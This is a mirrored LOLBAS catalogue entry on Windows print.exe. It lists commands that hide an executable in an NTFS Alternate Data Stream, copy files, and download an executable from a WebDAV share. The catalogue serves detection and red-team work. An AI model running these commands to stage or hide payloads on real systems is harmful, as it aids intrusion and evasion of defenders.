mirror of
https://github.com/LOLBAS-Project/LOLBAS
synced 2024-12-30 16:54:00 +01:00
25 lines
750 B
Markdown
25 lines
750 B
Markdown
|
## Print.exe
|
||
|
* Functions: Download, Copy, Add ADS
|
||
|
```
|
||
|
|
||
|
print /D:C:\ADS\File.txt:file.exe C:\ADS\File.exe
|
||
|
Copy file.exe into the Alternate Data Stream (ADS) of file.txt.
|
||
|
|
||
|
print /D:C:\ADS\CopyOfFile.exe C:\ADS\FileToCopy.exe
|
||
|
Copy FileToCopy.exe to the target C:\ADS\CopyOfFile.exe
|
||
|
|
||
|
print /D:C:\OutFolder\outfile.exe \\WebDavServer\Folder\File.exe
|
||
|
Copy File.exe from a network share to the target c:\OutFolder\outfile.exe.
|
||
|
```
|
||
|
|
||
|
* Resources:
|
||
|
* https://twitter.com/Oddvarmoe/status/985518877076541440
|
||
|
* https://www.youtube.com/watch?v=nPBcSP8M7KE&lc=z22fg1cbdkabdf3x404t1aokgwd2zxasf2j3rbozrswnrk0h00410
|
||
|
|
||
|
* Full path:
|
||
|
* C:\Windows\System32\print.exe
|
||
|
* C:\Windows\SysWOW64\print.exe
|
||
|
|
||
|
* Notes: Thanks to Oddvar Moe - @oddvarmoe
|
||
|
|